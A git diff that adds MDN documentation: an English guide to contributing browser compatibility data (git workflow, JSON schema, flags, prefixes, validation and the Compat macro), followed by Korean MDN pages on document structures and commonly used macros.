+ <li>Go ahead and choose a feature that is not already being worked on or complete. Put your name in the "Who" column, preferably along with your MDN username so we can find your email address and contact you if we need to.</li>
+ <li>If the feature you want to work on is not already listed in the spreadsheet, add rows for it in an appropriate place, copying the format that is already there. You should also use the same granularity (e.g. per element for HTML, per property or selector for CSS, per object for JS, per interface for APIs).</li>
+ <li>Once you've started work on adding the data, put the status to "In progress".</li>
+ <li>Once you've added the data and submitted a pull request to the main repo, put the status to "PR done".</li>
+ <li>As your data is merged to the repo, then added to the npm package, update the status as necessary.</li>
+ <li>Once you've updated the documentation page(s) for your feature to use the new macro to dynamically generate the appropriate data table on each page, set the status to "Article updated". At this point, you are done.</li>
+</ol>
+
+<h2 id="Preparing_to_add_the_data">Preparing to add the data</h2>
+
+<p>Before adding some new data, you should make sure that your fork is up-to-date with the main repo (it contains the same content), create a new branch inside your fork to contain your additions, then pull that branch into your local clone so you can start working inside it:</p>
+
+<p>Let's look at a simple way to make sure your fork is to-to-date is as follows:</p>
+
+<h3 id="Adding_the_main_browser-compat-data_repo_as_a_remote">Adding the main browser-compat-data repo as a remote</h3>
+
+<p>Go to your local clone of your fork in your terminal/command line, and add a remote pointing to the main (upstream) repo like so (you only need to do this once):</p>
+
+<pre class="brush: bash notranslate">git remote add upstream https://github.com/mdn/browser-compat-data.git</pre>
+
+<p>If you are unsure whether you've done this, you can check what remotes your repo has using</p>
+
+<pre class="brush: bash notranslate">git remote -v</pre>
+
+<h3 id="Updating_your_fork_with_the_remotes_content">Updating your fork with the remote's content</h3>
+
+<p>Now, whenever you want to update your fork, you can do so by:</p>
+
+<ol>
+ <li>
+  <p>Making sure you are in the master branch:</p>
+
+  <pre class="brush: bash notranslate">git checkout master</pre>
+ </li>
+ <li>
+  <p>fetching the up-to-date repo contents using the following:</p>
+
+  <pre class="brush: bash notranslate">git fetch upstream</pre>
+ </li>
+ <li>
+  <p>rebasing the contents of your master with the main repo's contents:</p>
+
+  <pre class="brush: bash notranslate">git rebase upstream/master</pre>
+ </li>
+ <li>
+  <p>pushing these updates back to your remote fork using this:</p>
+
+  <pre class="brush: bash notranslate">git push -f</pre>
+ </li>
+</ol>
+
+<h3 id="Creating_a_new_branch_to_do_your_work_in">Creating a new branch to do your work in</h3>
+
+<p>Next, go to your remote fork (it will be at <code>https://github.com/<em>your-username</em>/browser-compat-data</code>) and create a new branch to store your changes for this data addition. This can be done by:</p>
+
+<ol>
+ <li>Clicking on the "Branch: Master" button.</li>
+ <li>Entering a new branch name into the "Find or create a branch..." text field.</li>
+ <li>Pressing the resulting "Create branch <em>name-of-branch</em> from Master" button.</li>
+</ol>
+
+<p>For example, if you were wanting to add data for the WebVR API, you'd create a branch called something like "webvr".</p>
+
+<h3 id="Switching_to_the_new_branch">Switching to the new branch</h3>
+
+<p>At this point, go back to your terminal/command line, and update your fork's local clone to include your new branch using the following command:</p>
+
+<pre class="brush: bash notranslate">git pull</pre>
+
+<p>Now switch to your new branch using this:</p>
+
+<pre class="brush: bash notranslate">git checkout<em> name-of-branch</em></pre>
+
+<p>You should now be ready to start adding your data!</p>
+
+<h2 id="Adding_the_data">Adding the data</h2>
+
+<p>To add the data, you need to create a new file or files to store your compat data in. The files you need to create differ, depending on what technology you are working on:</p>
+
+<ul>
+ <li>HTML: One file per HTML element, contained in <a href="https://github.com/mdn/browser-compat-data/tree/master/html/elements">browser-compat-data/html/elements</a>. The file should be called the name of the element, all in lower case, e.g. <code>div.json</code>.</li>
+ <li>CSS: One file per CSS property or selector, contained in the appropriate directory (see <a href="https://github.com/mdn/browser-compat-data/tree/master/css">browser-compat-data/css</a>). The file should be called the name of the feature, all in lower case, e.g. <code>background-color.json</code>, or <code>hover.json</code>.</li>
+ <li>JS: One file per JS object, contained in <a href="https://github.com/mdn/browser-compat-data/tree/master/javascript/builtins">browser-compat-data/javascript/builtins</a>. The file should be called the exact name of the object, with the casing preserved, e.g. <code>Date.json</code> or <code>InternalError.json</code>.</li>
+ <li>APIs: One file per interface contained in the API, put in <a href="https://github.com/mdn/browser-compat-data/tree/master/api">browser-compat-data/api</a>. Each file should be called the exact name of the interface, with the casing preserved, e.g. The WebVR API has <code>VRDisplay.json</code>, <code>VRDisplayCapabilities.json</code>, etc.</li>
+</ul>
+
+<div class="note">
+<p><strong>Note</strong>: You'll notice that the repo also contains data for <a href="/en-US/Add-ons/WebExtensions">Browser Extensions</a> and <a href="/en-US/docs/Web/HTTP">HTTP</a>. These data sets are basically finished as they stand, but more features may need to be added in the future.</p>
+</div>
+
+<p>Each file you create has to follow the pattern defined in the schema contained within our repo; you can see the <a href="https://github.com/mdn/browser-compat-data/blob/master/schemas/compat-data-schema.md">detailed schema description here</a>.</p>
+
+<h3 id="Basic_compat_data_structure">Basic compat data structure</h3>
+
+<p>Let's look at an example. CSS property JSON files for example need the following basic structure:</p>
+
+<pre class="brush: json notranslate">{
+  "css": {
+    "properties": {
+      "border-width": {
+        "__compat": {
+          ...
+        }
+      }
+    }
+  }
+}</pre>
+
+<p>You have the <code>css</code> object, inside of which is a <code>properties</code> object. Inside the <code>properties</code> object, you need one member for each of the specific features you want to define the compat data for. Each of these members has a <code>__compat</code> member, inside of which the actual data goes.</p>
+
+<p>The above data is found in the <a href="https://github.com/mdn/browser-compat-data/blob/master/css/properties/border-width.json">border-width.json</a> file — compare this to the <a href="/en-US/docs/Web/CSS/border-width#Browser_compatibility">rendered border-width support table on MDN</a>.</p>
+
+<p>Other types of features work in the same way, but with different object names:</p>
+
+<ul>
+ <li>CSS selectors work in basically the same way as CSS properties, except that the top-level object structure is <code>css.selectors</code> instead of <code>css.properties</code>. See <a href="https://github.com/mdn/browser-compat-data/blob/master/css/selectors/cue.json">cue.json</a> for an example.</li>
+ <li>HTML data works in basically the same way, except that the top-level object structure is <code>html.elements</code>. See <code>article.json</code> for an example.</li>
+ <li>The top level object structure for JS built-in objects is <code>javascript.builtins</code>; see <a href="https://github.com/mdn/browser-compat-data/blob/master/javascript/builtins/Array.json">Array.json</a> for an example.</li>
+</ul>
+
+<div>
+<p>In HTML, CSS, and JS pages, you'll normally only need one feature. API interfaces work slightly differently — they always have multiple sub-features (see {{anch("Sub-features")}}, below).</p>
+
+<h3 id="Basic_structure_inside_a_feature">Basic structure inside a feature</h3>
+
+<p>Inside a feature <code>__compat</code> member, you need to include the following members:</p>
+
+<ul>
+ <li><code>mdn_url</code>: Contains the URL of the reference page for this feature on MDN. Note that this needs to be written without the locale directory inside, e.g. <code>/docs/...</code> not <code>/docs/en-US/...</code> (or whatever). This is added in by the macro when the data is put on the page, for localization purposes.</li>
+ <li><code>support</code>: Contains members representing the browser support information for this feature in all the different browsers we want to report.</li>
+ <li><code>status</code>: Contains members reporting the standards track status of this feature.</li>
+</ul>
+
+<p>The names of the browser members are defined in the schema (see <a href="https://github.com/mdn/browser-compat-data/blob/master/schemas/compat-data-schema.md#browser-identifiers">Browser identifiers</a>). You should use the full list of currently defined identifiers. If you wish to add another browser, talk to us first, as this could have a wide-ranging impact and should not be done without careful thought.</p>
+
+<p>In a basic browser compat data file, you'll only need to include "version_added" inside the browser identifier members (we'll cover {{anch("Advanced cases")}} later on). The different values you might want to include are as follows:</p>
+
+<ul>
+ <li>A version number: If you know the exact version in which a browser started to support your feature, use a string representing the number, e.g. "47".</li>
+ <li><code>true</code>: If a browser supports a feature but you don't know the exact version number, use the value <code>true</code>. This equivalent to the <code>\{{CompatVersionUnknown}}</code> macro call in the old manual tables.</li>
+ <li><code>false</code>: If a browser does not support a feature, use the value <code>false</code>. This is equivalent to the the <code>\{{CompatNo}}</code> macro call in the old manual tables.</li>
+ <li><code>null</code>: If you don't know whether a browser supports a feature or not, use the value <code>null</code>. This is equivalent to the <code>\{{CompatUnknown}}</code> macro call in the old manual tables.</li>
+</ul>
+
+<p>Inside the <code>status</code> member, you'll include three submembers:</p>
+
+<ul>
+ <li> "experimental": This should be set to <code>true</code> if the feature is <a href="/en-US/docs/MDN/Contribute/Guidelines/Conventions_definitions#Experimental">experimental</a>, or <code>false</code> otherwise.</li>
+ <li>"standard_track": This should be set to <code>true</code> if a feature is on some kind of standards track (most commonly W3C/WHATWG, but there are also other standards efforts such as Khronos, TC39, etc.) or <code>false</code> otherwise.</li>
+ <li>"deprecated": This should be set to <code>true</code> if the feature is <a href="/en-US/docs/MDN/Contribute/Guidelines/Conventions_definitions#Deprecated_and_obsolete">deprecated</a>, or <code>false</code> otherwise.</li>
+</ul>
+
+<p>The feature data for <a href="/en-US/docs/Web/CSS/border-width#Browser_compatibility">border-width</a> (also see <a href="https://github.com/mdn/browser-compat-data/blob/master/css/properties/border-width.json">border-width.json</a>) is shown below as an example:</p>
+
+<pre class="brush: json notranslate">"__compat": {
+  "mdn_url": "https://developer.mozilla.org/docs/Web/CSS/border-width",
+  "support": {
+    "chrome": {
+      "version_added": "1"
+    },
+    "webview_android": {
+      "version_added": "2"
+    },
+    "edge": {
+      "version_added": true
+    },
+    "edge_mobile": {
+      "version_added": true
+    },
+    "firefox": {
+      "version_added": "1"
+    },
+    "firefox_android": {
+      "version_added": "1"
+    },
+    "ie": {
+      "version_added": "4"
+    },
+    "ie_mobile": {
+      "version_added": "6"
+    },
+    "opera": {
+      "version_added": "3.5"
+    },
+    "opera_android": {
+      "version_added": "11"
+    },
+    "safari": {
+      "version_added": "1"
+    },
+    "safari_ios": {
+      "version_added": "3"
+    }
+  },
+  "status": {
+    "experimental": false,
+    "standard_track": true,
+    "deprecated": false
+  }
+}</pre>
+
+<h4 id="Adding_a_description">Adding a description</h4>
+
+<p>There is a fourth, optional, member that can go inside the __compat member — <code>description</code>. This can be used to include a human-readable description of the feature. You should only include this if it is hard to see what the feature is from glancing at the data. For example, it might not be that obvious what a constructor is from looking at the data structure, so you can include a description like so:</p>
+
+<pre class="brush: json notranslate">{
+  "api": {
+    "AbortController": {
+      "__compat": {
+        ...
+      },
+      "AbortController": {
+        "__compat": {
+          "mdn_url": "https://developer.mozilla.org/docs/Web/API/AbortController/AbortController",
+          "description": "&lt;code&gt;AbortController()&lt;/code&gt; constructor",
+          "support": {
+            ...
+          }
+        }
+      }
+
+      ... etc.
+    }
+  }
+}</pre>
+
+<h3 id="Sub-features">Sub-features</h3>
+
+<p>In a page where the compat table has more than one row, you'll need multiple subfeatures inside each feature to define the information for each row. This can happen, for example, when you've got the basic support for a feature stored in one row, but then the feature also has a new property or value type that was addded much later in the specification's life and is only supported in a couple of browsers.</p>
+
+<p>As an example, see the <a href="https://github.com/mdn/browser-compat-data/blob/master/css/properties/background-color.json">compat data</a> and <a href="/en-US/docs/Web/CSS/background-color">corresponding MDN page</a> for the <code>background-color</code> property. The basic support exists inside the <code>__compat</code> object as explained above, then you have an additional row for browsers' support for "alpha channel for hex values", which contains its own <code>__compat</code> object.</p>
+
+<pre class="brush: json notranslate">{
+  "css": {
+    "properties": {
+      "background-color": {
+        "__compat": {
+          ...
+        },
+        "alpha_ch_for_hex": {
+          "__compat": {
+            ...
+          },
+        }
+      }
+    }
+  }
+}</pre>
+
+<p>For an API, you've got the top two levels defined as <code>api.<em>name-of-the-interface</em></code>, then a top-level <code>__compat</code> section to define the overall browser compatibility of the interface, then a sub-feature for each of the methods, properties, and constructors contained inside the interface. The basic structure looks like this:</p>
+
+<pre class="brush: json notranslate">{
+  "api": {
+    "VRDisplay": {
+      "__compat": {
+        ...
+      },
+      "cancelAnimationFrame": {
+        "__compat": {
+          ...
+        }
+      },
+      "capabilities": {
+        "__compat": {
+          ...
+        }
+      },
+
+      ... etc.
+
+    }
+  }
+}</pre>
+
+<p>See <a href="https://github.com/mdn/browser-compat-data/blob/master/api/VRDisplay.json">VRDisplay.json</a> for a full example.</p>
+</div>
+
+<h2 id="Adding_data_Advanced_cases">Adding data: Advanced cases</h2>
+
+<p>There are some advanced features that you'll want to include in browser compat data. The aim of this section is to list the most common ones, providing an example of each to show how you can implement them in your own compat data.</p>
+
+<h3 id="Including_a_footnote">Including a footnote</h3>
+
+<p>Often compat tables will include footnotes related to certain entries that explain useful details or strange behavior that developers will find useful. As an example, the Chrome Android entry for {{domxref("VRDisplay.capabilities")}} (see also <a href="https://github.com/mdn/browser-compat-data/blob/master/api/VRDisplay.json">VRDisplay.json</a>)  (at the time of writing) had a footnote "<span class="pl-s">Currently supported only by Google Daydream." To include this in the capabilities data, we added a "notes" submember inside the relevant "chrome_android" submember; it would look like this:</span></p>
+
+<pre class="brush: json notranslate">"chrome_android": {
+  "version_added": true,
+  "notes": "Currently supported only by Google Daydream."
+}</pre>
+
+<h3 id="Including_a_vendor_prefix">Including a vendor prefix</h3>
+
+<p>If a feature is supported behind a vendor prefix in one or more browsers, you'll want to make that clear in the browser compat data. imagine you had a feature that was supported with a <code>-moz-</code> prefix in Firefox. To specify this in the compat data, you'd need to add a "prefix" submember inside the relevant "firefox" submember. It would look something like this:</p>
+
+<pre class="brush: json notranslate">"firefox": {
+  "version_added": true,
+  "prefix": "-moz-"
+}</pre>
+
+<h3 id="Including_browser_preferences_or_flags">Including browser preferences or flags</h3>
+
+<p>Some features may be supported in a browser, but they are experimental and turned off by default. If a user wants to play with this feature they need to turn it on using a preference/flag.</p>
+
+<p>To represent this in the compat data, you need to add the "flags" submember inside the relevant browser identifier submember. The value of "flags" is an array of objects each of which contains of three members:</p>
+
+<ul>
+ <li>"type": The type of flag or pref this is. The most common value is "preference", which is set inside the browser (for example, using <code>about:config</code> in Firefox, or <code>chrome://flags</code> in Chrome), but you might also sometimes use a value of <span class="pl-s"><span class="pl-pds">"</span>compile_flag<span class="pl-pds">", which is a preference set when the browser build is compiled.</span></span></li>
+ <li>"name": This is a string representing the name of the preference that needs to have a value set on it. For example, "Enable Experimental Web Platform Features" is a preference that exists in Chrome, found in <code>chrome://flags</code>.</li>
+ <li>"value_to_set": This is a string representing the value that needs to be set on the preference, for example "true".</li>
+</ul>
+
+<p>So to add a preference/flag to the Chrome support for a feature, you'd do something like this:</p>
+
+<pre class="brush: json notranslate">"chrome": {
+  "version_added": "50",
+  "flags": [
+    {
+      "type": "preference",
+      "name": "Enable Experimental Web Platform Features",
+      "value_to_set": "true"
+    }
+  ]
+},</pre>
+
+<p>If a feature is behind two or more flags, you can add additional objects to the "flags" array, like in this case, for example:</p>
+
+<pre class="brush: json notranslate">"firefox": {
+  "version_added": "57",
+  "flags": [
+    {
+      "type": "preference",
+      "name": "dom.streams.enabled",
+      "value_to_set": "true"
+    },
+    {
+      "type": "preference",
+      "name": "javascript.options.streams",
+      "value_to_set": "true"
+    }
+  ]
+},</pre>
+
+<h3 id="Including_a_version_where_support_was_removed">Including a version where support was removed</h3>
+
+<p>Sometimes a feature will be added in a certain browser version, but then removed again as the feature is deprecated. This can be easily represented using the "version_removed" submember, which takes as its value a string representing the version number it was removed on. For example:</p>
+
+<pre class="brush: json notranslate">"firefox": {
+  "version_added": "35",
+  "version_removed": "47",
+},</pre>
+
+<h3 id="Including_multiple_support_points_for_the_same_browser_entry">Including multiple support points for the same browser entry</h3>
+
+<p>Sometimes you'll want to add multiple support data points for the same browser inside the same feature.</p>
+
+<p>As an example, the {{cssxref("text-align-last")}} property (see also <a href="https://github.com/mdn/browser-compat-data/blob/master/css/properties/text-align-last.json">text-align-last.json</a>) was added to Chrome in version 35, supported behind a pref.</p>
+
+<p>The support mentioned above was then removed in version 47; also in version 47, support was added for <code>text-align-last</code> enabled by default.</p>
+
+<p>To include both of these data points, you can make the value of the "chrome" submember an array containing two support information objects, rather than just a single support information object:</p>
+
+<pre class="brush: json notranslate">"chrome": [
+  {
+    "version_added": "47"
+  },
+  {
+    "version_added": "35",
+    "version_removed": "47",
+    "flags": [
+      {
+        "type": "preference",
+        "name": "Enable Experimental Web Platform Features",
+        "value_to_set": "true"
+      }
+    ]
+  }
+],</pre>
+
+<div class="note">
+<p><strong>Note</strong>: You should put the most current or important support point first in the array — this makes the data easier to read for people who just want to scan it for the latest info.</p>
+</div>
+
+<h3 id="Including_an_alternative_name">Including an alternative name</h3>
+
+<p>Occasionally browsers will support a feature under a different name to the name defined in its specification. This might be for example because a browser added experimental support for a feature early, and then the name changed before the spec stabilized.</p>
+
+<p>To include such a case in the browser compat data, you can include a support information point that specifies the alternative name inside an "alternative_name" member.</p>
+
+<div class="note">
+<p><strong>Note</strong>: The alternative name might not be an exact alias — it might have differing behaviour to the standard version.</p>
+</div>
+
+<p>Let's look at an example. The {{cssxref("border-top-right-radius")}} property (see also <a href="https://github.com/mdn/browser-compat-data/blob/2a0cc3f6bb17aa4345441bed47a059dffd847793/css/properties/border-top-right-radius.json">border-top-right-radius.json</a>) was supported in Firefox:</p>
+
+<ul>
+ <li>From version 4 onwards with the standard name <code>border-top-right-radius</code>.</li>
+ <li>From version 49 onwards with a <code>-webkit-</code> prefix, for browser compatibility purposes.</li>
+ <li>From version 1 onwards with the alternative name <code>-moz-border-radius-topright</code>. Support for this alias was removed in version 12.</li>
+</ul>
+
+<p>To represent this in the data, we used the following JSON:</p>
+
+<pre class="brush: json notranslate">"firefox": [
+  {
+    "version_added": "4",
+    "notes": "Prior to Firefox 50.0, border styles of rounded corners were always rendered as if &lt;code&gt;border-style&lt;/code&gt; was solid. This has been fixed in Firefox 50.0."
+  },
+  {
+    "prefix": "-webkit-",
+    "version_added": "49",
+    "notes": "From Firefox 44 to 48, the &lt;code&gt;-webkit-&lt;/code&gt; prefix was available with the &lt;code&gt;layout.css.prefixes.webkit&lt;/code&gt; preference. Starting with Firefox 49, the preference defaults to &lt;code&gt;true&lt;/code&gt;."
+  },
+  {
+    "alternative_name": "-moz-border-radius-topright",
+    "version_added": "1",
+    "version_removed": "12"
+  }
+],</pre>
+
+<h2 id="Pushing_a_change_back_to_the_main_repo">Pushing a change back to the main repo</h2>
+
+<p>Once you are finished with adding your compat data, you should first test it using the following commands:</p>
+
+<ul>
+ <li><code>npm run lint</code> — tests all the compat data to make sure the JSON is valid, and is written in the correct style, for example correct indentation, no missing commas, etc. It will print out a long list of file names and test results; if an error is found, the linter will throw an error on the file it is found in, giving you useful debugging info like line number, error message, etc.</li>
+ <li><code>npm run show-errors</code> — validates the JSON against the data schema, and highlights errors such as invalid browser version numbers being used.</li>
+ <li><code>npm run render dotted.path.to.feature</code> — allows you to preview the markup for the compat table for a data file in the repo. As an example, <code>npm run render css.properties.background</code> shows the table markup for the {{cssxref("background")}} property.</li>
+</ul>
+
+<p>If it is looking OK, you then need to commit it and push it back up to your remote fork on GitHub. You can do this easily with terminal commands like this:</p>
+
+<pre class="brush: bash notranslate">git add .
+git commit -m 'adding compat data for name-of-feature'
+git push</pre>
+
+<p>Now go to your remote fork (i.e. <code>https://github.com/<em>your-username</em>/browser-compat-data</code>) and you should see information about your push at the top of the files list (under "Your recently pushed branches"). You can create a pull request (starting the process of pushing this to the main repo) by pressing the "Compare &amp; pull request" button, then following the simple prompts on the subsequent screen.</p>
+
+<p>At this point, you just need to wait. A reviewer will review your pull request, and merge it with the main repo, OR request that you make changes. If changes are needed, make the changes and submit again until the PR is accepted.</p>
+
+<h2 id="Inserting_the_data_into_MDN_pages">Inserting the data into MDN pages</h2>
+
+<p>Once your new data has been included in the main repo, you can start dynamically generating browser compat tables based on that data on MDN pages using the \{{Compat}} macro. This takes a single parameter, the dot notation required to walk down the JSON data and find the object representing the feature you want to generate the compat table for.</p>
+
+<p>Above the macro call, to help other contributors finding their way, you should add a hidden text that is only visible in MDN contributors in edit mode:</p>
+
+<pre class="brush: html notranslate">&lt;div class="hidden"&gt;
+&lt;p&gt;The compatibility table on this page is generated from structured data.
+If you'd like to contribute to the data, please check out
+&lt;a href="https://github.com/mdn/browser-compat-data"&gt;https://github.com/mdn/browser-compat-data&lt;/a&gt;
+and send us a pull request.&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<p>As an example, on the {{httpheader("Accept-Charset")}} HTTP header page, the macro call looks like this: \{{Compat("http.headers.Accept-Charset")}}. If you look at the <a href="https://github.com/mdn/browser-compat-data/blob/master/http/headers/accept-charset.json">accept-charset.json</a> file in the repo, you'll see how this is reflected in the JSON data.</p>
+
+<p>As another example, The compat table for the {{domxref("VRDisplay.capabilities")}} property is generated using \{{Compat("api.VRDisplay.capabilities")}}. The macro call generates the following table (and corresponding set of notes):</p>
+
+<hr>
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.VRDisplay.capabilities")}}</p>
+
+<div class="note">
+<p><strong>Note</strong>: The filenames often match the labels given to the interfaces inside the JSON structures, but it is not always the case. When the macro calls generate the tables, they walk through all the files until they find the relevant JSON to use, so the filenames are not critical. Saying that, you should always name them as intuitively as possible.</p>
+</div>
diff --git a/files/ko/mdn/structures/index.html b/files/ko/mdn/structures/index.html
new file mode 100644
index 0000000000..7934f5f1f6
--- /dev/null
+++ b/files/ko/mdn/structures/index.html
@@ -0,0 +1,18 @@
+---
+title: 문서 구조
+slug: MDN/Structures
+tags:
+  - MDN 메타
+  - 문서구조
+  - 시작하기
+translation_of: MDN/Structures
+---
+<div>{{MDNSidebar}}</div>
+
+<div>{{IncludeSubnav("/ko/docs/MDN")}}</div>
+
+<div>MDN에는 정보를 일관되게 표현하기 위해서 반복해서 사용하는 문서 구조들이 있습니다. 여기선 여러분이 글을 작성하고 수정, 번역할 때 받아들이고 적용할 뿐만 아니라 개선할 수 있도록 그 구조에 대해 설명합니다.</div>
+
+<div> </div>
+
+<p>{{LandingPageListSubPages()}}</p>
diff --git a/files/ko/mdn/structures/macros/commonly-used_macros/index.html b/files/ko/mdn/structures/macros/commonly-used_macros/index.html
new file mode 100644
index 0000000000..8038d19eba
--- /dev/null
+++ b/files/ko/mdn/structures/macros/commonly-used_macros/index.html
@@ -0,0 +1,220 @@
+---
+title: 흔히 쓰는 매크로
+slug: MDN/Structures/Macros/Commonly-used_macros
+tags:
+  - Reference
+translation_of: MDN/Structures/Macros/Commonly-used_macros
+---
+<div>{{MDNSidebar}}</div>
+
+<p><span class="seoSummary">이 페이지는 MDN에서 사용하기 위해 만든 많은 범용 매크로를 나열합니다. 이 매크로 사용법에 관한 정보는, <a href="/ko/docs/MDN/Contribute/Content/Macros">매크로 사용하기</a> 및 <a href="/ko/docs/MDN/Contribute/Editor/Links#Using_link_macros">링크 매크로 사용하기</a>를 참조하세요.</span> 드물게, 특별한 문맥에서만 쓰이거나 사라질(deprecated) 매크로에 관한 정보는 <a href="/ko/docs/MDN/Contribute/Structures/Macros/Other">기타 매크로</a>를 참조하세요. <a href="/ko/docs/templates" title="complete list of all macros on MDN">MDN의 모든 매크로 전체 목록</a>도 있습니다.</p>
+
+<p>사용 가능 스타일에 관한 <a href="/ko/docs/MDN/Contribute/Guidelines/CSS_style_guide">CSS 스타일 안내서</a>도 참조하세요.</p>
+
+<h2 id="링크하기">링크하기</h2>
+
+<h3 id="단일_하이퍼링크_생성">단일 하이퍼링크 생성</h3>
+
+<p id="To_another_MDN_page_or_its_section_(anch_SectionOnPage_manch_Link_LinkItem_LinkItemDL)">대개, 임의(arbitrary) 링크 생성을 위해 매크로를 사용할 필요가 없습니다. 링크를 만들기 위해 에디터 인터페이스의 <strong>링크</strong> 버튼을 사용하세요</p>
+
+<ul>
+ <li>{{TemplateLink("Glossary")}} 매크로는 MDN <a href="/ko/docs/Glossary" title="glossary">용어사전</a> 내 지정된 용어(term) 항목에 대한 링크를 만듭니다. 이 매크로는 하나는 필수며 둘은 선택인 매개변수를 취합니다:
+
+  <ol>
+   <li>용어명 (가령 "HTML").</li>
+   <li>용어명 대신 글에 표시할 텍스트 (이건 드물게 쓰임). {{optional_inline}}</li>
+   <li>이 매개변수가 지정되고 0이 아닌 경우, 보통 용어사전 링크에 적용된 사용자 정의 스타일링은 적용되지 않습니다. {{optional_inline}}</li>
+  </ol>
+
+  <p>예:</p>
+
+  <ul>
+   <li>\{{Glossary("HTML")}}은 {{Glossary("HTML")}}이 됩니다</li>
+   <li>\{{Glossary("CSS", "Cascading Style Sheets")}}는 {{Glossary("CSS", "Cascading Style Sheets")}}가 됩니다</li>
+   <li>\{{Glossary("HTML", "", 1)}}은 {{Glossary("HTML", "", 1)}}이 됩니다</li>
+  </ul>
+ </li>
+</ul>
+
+<h3 id="참고서_내_페이지에_링크하기">참고서 내 페이지에 링크하기</h3>
+
+<p>MDN의 특정 참고서(reference) 영역 내 페이지에 링크하는 다양한 매크로가 있습니다.</p>
+
+<ul>
+ <li>{{TemplateLink("cssxref")}}는 <a href="/ko/docs/Web/CSS/CSS_Reference" title="CSS Reference">CSS 참고서</a> 내 페이지에 링크합니다.<br>
+  예: <code>\{{cssxref("cursor")}}</code>, 결과: {{ cssxref("cursor") }}.</li>
+ <li>{{TemplateLink("domxref")}}는 DOM 참고서 내 페이지에 링크합니다; 끝에 괄호를 포함하는 경우, 템플릿은 함수 이름처럼 보이도록 표시해야 함을 압니다. 예를 들어, <span class="plain"><span class="nowiki">\{{domxref("document.getElementsByName()")}}</span></span>은 {{ domxref("document.getElementsByName()") }}이 되고 <code>\{\{domxref("Node")\}\}</code>는 {{ domxref("Node") }}가 됩니다.</li>
+ <li>{{TemplateLink("event")}}는 DOM Event 참고서 내 페이지에 링크합니다, 예: \{{event("change")}}는 {{event("change")}}가 됩니다.</li>
+ <li>{{TemplateLink("HTMLElement")}}는 HTML 참고서 내 HTML 요소(element)에 링크합니다.</li>
+ <li>{{TemplateLink("htmlattrxref")}}는 HTML attribute, 전역 attribute 설명 (attribute명만 지정한 경우) 또는 (attribute명 및 요소명을 지정한 경우) 지정 요소와 관련된 attribute에 링크합니다. 예를 들어, <code>\{\{htmlattrxref("lang")\}\}</code>은 이 링크를 만듭니다: {{htmlattrxref("lang")}}.<code> </code> <code>\{\{htmlattrxref("type","input")\}\}</code>은 이 링크를 만듭니다: {{htmlattrxref("type","input")}}.</li>
+ <li>{{TemplateLink("jsxref")}}는 <a href="/ko/docs/Web/JavaScript/Reference" title="JavaScript Reference">JavaScript 참고서</a> 내 페이지에 링크합니다.</li>
+ <li>{{TemplateLink("SVGAttr")}}은 특정 SVG attribute에 링크합니다. 예를 들어, <code>\{\{SVGAttr("d")\}\}</code>은 이 링크를 생성합니다: {{SVGAttr("d")}}.</li>
+ <li>{{TemplateLink("SVGElement")}}는 SVG 참고서 내 SVG 요소에 링크합니다.</li>
+</ul>
+
+<h3 id="버그_및_IRC에_링크하기">버그 및 IRC에 링크하기</h3>
+
+<ul>
+ <li>버그
+  <ul>
+   <li>{{TemplateLink("bug")}}는 다음 구문을 사용하여 쉽게 bugzilla.mozilla.org의 버그에 링크할 수 있습니다: <code>\{\{Bug(123456)\}\}</code> 이 구문의 결과는: {{ Bug(123456) }}.</li>
+   <li>{{TemplateLink("WebkitBug")}}는 WebKit 버그 데이터베이스 내 버그로 링크를 삽입합니다. 예를 들어, <code>\{\{WebkitBug(31277)\}\}</code>은 {{ WebkitBug(31277) }}를 삽입합니다.</li>
+  </ul>
+ </li>
+ <li>{{TemplateLink("IRCLink")}}는 지정된 IRC 채널로의 링크를 삽입합니다, 하는 일과 IRC 클라이언트가 필요함을 말하는 툴팁을 갖춘.</li>
+</ul>
+
+<h3 id="여러_페이지_안내서를_위한_내비게이션_보조">여러 페이지 안내서를 위한 내비게이션 보조</h3>
+
+<p>{{TemplateLink("Previous")}}, {{TemplateLink("Next")}} 및 {{TemplateLink("PreviousNext")}}는 연속글의 일부인 글을 위한 내비게이션 컨트롤을 제공합니다. 단방향 템플릿의 경우, 필요한 유일한 매개변수는 연속글의 이전 또는 다음 글의 위키 주소입니다. {{TemplateLink("PreviousNext")}}의 경우, 필요한 두 매개변수는 해당 글의 위키 주소입니다. 첫 번째 매개변수는 이전 글이고 두 번째는 다음 글입니다.</p>
+
+<h2 id="코드_샘플">코드 샘플</h2>
+
+<h3 id="실시간_샘플">실시간 샘플</h3>
+
+<ul>
+ <li>{{TemplateLink("EmbedLiveSample")}}은 페이지 상에 코드 샘플의 출력을 포함할 수 있습니다, <a href="/ko/docs/MDN/Contribute/Structures/Live_samples" title="Live samples">실시간 샘플</a>에 설명된 대로.</li>
+ <li>{{TemplateLink("LiveSampleLink")}}는 페이지 상에 코드 샘플의 출력을 포함하는 페이지로의 링크를 만듭니다, <a href="/ko/docs/MDN/Contribute/Structures/Live_samples" title="Live samples">실시간 샘플</a>에 설명된 대로.</li>
+</ul>
+
+<h3 id="첨부된_샘플_파일">첨부된 샘플 파일</h3>
+
+<ul>
+ <li>{{TemplateLink("Embed_text")}} 템플릿은 글 본문 내에 첨부된 텍스트 파일을 삽입할 수 있습니다. 이는 다운로드 가능하지만 글의 콘텐츠에 표시되기도 하는 코드 조각을 갖고 싶은 경우 유용합니다. 구문 강조를 위한 언어를 선택 사항으로 지정할 수도 있습니다; 지정하지 않은 경우, 텍스트는 강조 없이 삽입됩니다. 첫 번째 매개변수는 삽입할 첨부 파일명입니다; 두 번째는, 제공되는 경우 구문 강조기를 적용할 언어입니다, 가령 "javascript", "svg" 또는 "cpp".</li>
+ <li>{{TemplateLink("EmbedSVG")}}는 SVG 이미지로서 첨부된 XML 파일을 삽입합니다, 페이지 위에다. 첨부된 SVG 파일의 파일명을 지정하세요. 소스 그리고 같은 파일의 렌더링된 출력을 표시하기 위해 {{TemplateLink("Embed_text")}}와 동시에 이를 사용할 수 있습니다.</li>
+</ul>
+
+<h2 id="사이드바_생성">사이드바 생성</h2>
+
